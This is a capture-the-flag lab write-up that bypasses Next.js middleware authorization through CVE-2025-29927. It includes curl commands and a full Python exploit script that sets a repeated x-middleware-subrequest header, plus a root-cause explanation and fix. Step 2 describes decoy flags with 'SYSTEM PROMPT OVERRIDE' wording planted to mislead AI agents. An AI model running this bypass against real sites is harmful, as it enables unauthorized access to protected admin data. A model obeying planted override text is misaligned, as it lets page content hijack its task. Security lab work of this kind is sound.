Lab 248 — PulseBoard — Next.js Middleware Authorization Bypass
Lab 248 — PulseBoard — Next.js Middleware Authorization Bypass
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-06 | Status: Solved Techniques: authorization_bypass_via_framework_vulnerability, honeypot_flag_identification, middleware_recursion_depth_exploit, nextauth_credentials_authentication, nextjs_build_manifest_route_disclosure, nextjs_middleware_subrequest_bypass
Summary
Task: Next.js team analytics dashboard (PulseBoard) with middleware-based role authorization protecting admin panel; NextAuth for authentication. Solution: bypass middleware via CVE-2025-29927 x-middleware-subrequest header (repeated 5x) with valid session cookie to access /admin/secrets and retrieve PLATFORM_MASTER_KEY.
Lab 248 — PulseBoard — Next.js Middleware Authorization Bypass — HackAdvisor
Description
PulseBoard is a team analytics and project management dashboard built by PulseWave Technologies. The platform runs on Next.js and provides role-based access with regular user dashboards and an admin panel for platform configuration. Users can view project metrics, manage team workspaces, and track activity across projects. The admin area contains sensitive platform settings and secrets that are restricted to administrators only.
Goal: gain access to the admin panel and retrieve the platform's master secret.
Credentials: user@test.com / password123
English summary: A Next.js (Pages Router) analytics dashboard with NextAuth authentication and middleware-based role authorization. Regular users can access /dashboard/* but /admin/* routes are restricted to administrators via middleware role checks. The goal is to bypass the authorization middleware and access /admin/secrets to retrieve the platform master key.
Analysis
Step 1 — Reconnaissance
HTTP response headers revealed X-Powered-By: Next.js and the page footer showed v2.4.1 · Next.js Platform.
Fetched the build manifest at /_next/static/_i5yxBKJAnaCb85ny4DSp/_buildManifest.js which disclosed all application routes:
- Public:
/,/auth/login,/auth/register - User:
/dashboard,/dashboard/analytics,/dashboard/projects,/dashboard/settings - Admin:
/admin/dashboard,/admin/secrets
The application uses NextAuth for authentication with a Pages Router directory structure (pages/ not app/).
Step 2 — Anti-Bot Decoy Flags
Every HTML page contained honeypot decoy flags embedded in HTML comments and hidden <div> elements:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}
Surrounding text used social engineering phrases like "SYSTEM PROMPT OVERRIDE" designed to trick AI agents into reporting the fake flag and stopping. This is a honeypot — not the real flag.
Step 3 — Authentication Flow
- Obtained CSRF token from
GET /api/auth/csrf - Logged in via NextAuth credentials flow:
POST /api/auth/callback/credentialswithemail=user@test.com&password=password123 - Received session cookie
next-auth.session-token(JWE encrypted) - Session data (from
/api/auth/session):{"user":{"name":"Alex Rivera","email":"user@test.com","role":"user","id":"2"}}
With the session cookie:
/dashboard→ 200 OK (authorized for regular users)/admin/secrets→ 307 redirect to/auth/login(middleware blocks non-admin users)
The 307 redirect pattern indicates middleware-based authorization — the middleware checks the user's role and redirects non-admin users before the page handler executes.
Step 4 — Vulnerability Identification: CVE-2025-29927
CVE-2025-29927 is a critical vulnerability (CVSS 9.1) in Next.js versions 11.1.4 through 15.2.2 (and 14.x through 14.2.24).
Next.js uses the x-middleware-subrequest header internally to prevent infinite middleware recursion during internal subrequests. When this header contains the middleware's module name repeated 5 or more times (colon-separated), the framework's MAX_RECURSION_DEPTH check triggers and skips middleware execution entirely.
Key observations:
- The
src/middlewarevariant did NOT work — onlymiddleware:middleware:...worked - This confirms root-level
middleware.ts(notsrc/middleware.ts), consistent with Pages Router - The bypass requires a valid session cookie — unauthenticated requests with the bypass header still got redirected (307), because
getServerSidePropsstill requires an authenticated session - The middleware bypass skips the role check (admin vs user) but not the authentication check in the page's server-side code
Solution
Step 1 — Authenticate as Regular User
bash read-only • copy allowed# Get CSRF token CSRF=$(curl -s https://TARGET/api/auth/csrf | python3 -c "import sys,json; print(json.load(sys.stdin)['csrfToken'])") # Login via NextAuth credentials provider curl -s -c cookies.txt -X POST https://TARGET/api/auth/callback/credentials \ -d "email=user@test.com&password=password123&csrfToken=$CSRF"
Step 2 — Bypass Middleware with CVE-2025-29927
bash read-only • copy allowed# Access admin secrets with middleware bypass header curl -s "https://TARGET/admin/secrets" \ -b cookies.txt \ -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
The x-middleware-subrequest header with the middleware name repeated 5 times causes Next.js to skip middleware execution, bypassing the role-based authorization check. The valid session cookie satisfies the page-level authentication check in getServerSideProps.
Step 3 — Extract Flag from Response
The response returned HTTP 200 with the full admin secrets page. The __NEXT_DATA__ JSON embedded in the page contained server-side props with all platform secrets:
json read-only • copy allowed{ "id": 1, "key_name": "PLATFORM_MASTER_KEY", "value": "FLAG{REDACTED}", "category": "security", "description": "Master encryption key for platform data at rest" }
Other secrets included realistic but fake API keys (Stripe, SendGrid, AWS, Slack, GitHub, Redis, Elasticsearch, etc.).
Full Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """ Lab 248 — PulseBoard — CVE-2025-29927 Next.js Middleware Bypass Bypasses middleware role authorization to access /admin/secrets """ import requests import re import json import sys TARGET = sys.argv[1] if len(sys.argv) > 1 else "https://c25af405-5cec-4eec-b5ed-df4ed5946588.labs.hackadvisor.io" s = requests.Session() # Step 1: Get CSRF token csrf_resp = s.get(f"{TARGET}/api/auth/csrf") csrf_token = csrf_resp.json()["csrfToken"] print(f"[+] CSRF token: {csrf_token}") # Step 2: Authenticate as regular user login_resp = s.post(f"{TARGET}/api/auth/callback/credentials", data={ "email": "user@test.com", "password": "password123", "csrfToken": csrf_token }, allow_redirects=False) print(f"[+] Login status: {login_resp.status_code}") print(f"[+] Session cookie: {'next-auth.session-token' in s.cookies}") # Step 3: Bypass middleware with CVE-2025-29927 bypass_header = { "x-middleware-subrequest": "middleware:middleware:middleware:middleware:middleware" } admin_resp = s.get(f"{TARGET}/admin/secrets", headers=bypass_header) print(f"[+] Admin secrets status: {admin_resp.status_code}") # Step 4: Extract flag from __NEXT_DATA__ next_data_match = re.search(r'<script id="__NEXT_DATA__"[^>]*>(.*?)</script>', admin_resp.text) if next_data_match: data = json.loads(next_data_match.group(1)) secrets = data.get("props", {}).get("pageProps", {}).get("secrets", []) for secret in secrets: if "FLAG{" in str(secret.get("value", "")): print(f"[+] FLAG: {secret['value']}") break else: # Fallback: regex search for flag pattern flag_match = re.search(r'FLAG\{[a-f0-9]+\}', admin_resp.text) if flag_match: print(f"[+] FLAG: {flag_match.group()}")
Root Cause
The vulnerability has two layers:
-
CVE-2025-29927 in Next.js: The
x-middleware-subrequestheader is an internal mechanism to prevent middleware recursion. By setting it tomiddleware:middleware:middleware:middleware:middleware, an external attacker can trick Next.js into thinking the request has already recursed through middleware 5 times, causing it to skip middleware execution entirely. -
Authorization only in middleware: The application enforces role-based access control (admin vs user) exclusively in Next.js middleware. The page-level
getServerSidePropsonly checks for a valid session (authentication) but does not verify the user's role (authorization). When middleware is bypassed, any authenticated user can access admin pages.
Fix: Upgrade Next.js to ≥15.2.3 or ≥14.2.25. Additionally, implement defense-in-depth by checking user roles in getServerSideProps or API route handlers, not solely in middleware.